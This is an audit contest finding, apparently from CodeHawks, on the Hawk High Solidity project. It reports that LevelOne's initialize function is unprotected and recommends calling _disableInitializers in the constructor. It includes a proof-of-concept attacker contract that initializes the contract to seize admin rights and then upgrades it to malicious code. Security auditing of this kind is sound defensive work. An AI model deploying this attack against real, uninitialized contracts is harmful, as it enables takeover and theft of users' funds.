Hawk High

First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

Unprotected upgradeable contract, attacker can take control of uninitalized contract and upgrade it to some other malicious code

[H-1] Unprotected upgradeable contract, attacker can take control of uninitalized contract and upgrade it to some other malicious code

Description: An Attack can call the LevelOne::initialize function before it is initalized by the deployer, and become the principal, potentally exploiting every principle privileges like addTeacher expel startSession graduateAndUpgrade , even upgrading the contract to a malacious code.

Reference to the function:
https://github.com/CodeHawks-Contests/2025-05-hawk-high/blob/3a7251910c31739505a8699c7a0fc1b7de2c30b5/src/LevelOne.sol#L120

Impact: The attacker can take full control of ALL the admin privilages. The system is compromised, funds may be stolen, and legitimate users (students, teachers, principal) are locked out or expelled, If the attacker destroys the logic contract (via a malicious upgrade), the proxy becomes unusable, causing a DoS

Proof of Concept:

Given below is the attacker contact through which one can exploit the LevelOne.sol contract.

pragma solidity 0.8.26;
interface ILevelOne {
function initialize(address _principal, uint256 _schoolFees, address _usdcAddress) external;
function graduateAndUpgrade(address _levelTwo, bytes memory data) external;
}
contract AttackLevelOne {
address public levelOneContract;
address public attacker;
address public usdcAddress;
constructor(address _levelOneContract, address _usdcAddress) {
levelOneContract = _levelOneContract;
usdcAddress = _usdcAddress;
attacker = msg.sender;
}
function attack(address _maliciousImplementation) external {
ILevelOne(levelOneContract).initialize(attacker, 1e18, usdcAddress);
ILevelOne(levelOneContract).graduateAndUpgrade(_maliciousImplementation, "");
}
receive() external payable {}
}

Recommended Mitigation: Call the _disableInitializers function on a constructor

constructor() {
_disableInitializers();
}
  • _disableInitializers marks a contract as permanently initialized, preventing any initializer functions (like initialize) from being called on it.

  • It’s used in the constructor of a logic contract to ensure that the contract cannot be initialized directly, reserving initialization for the proxy.

Updates

Lead Judging Commences

yeahchibyke Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

contract can be re-initialized

The system can be re-initialized by an attacker and its integrity tampered with due to lack of `disableInitializer()`

yeahchibyke Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

contract can be re-initialized

The system can be re-initialized by an attacker and its integrity tampered with due to lack of `disableInitializer()`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.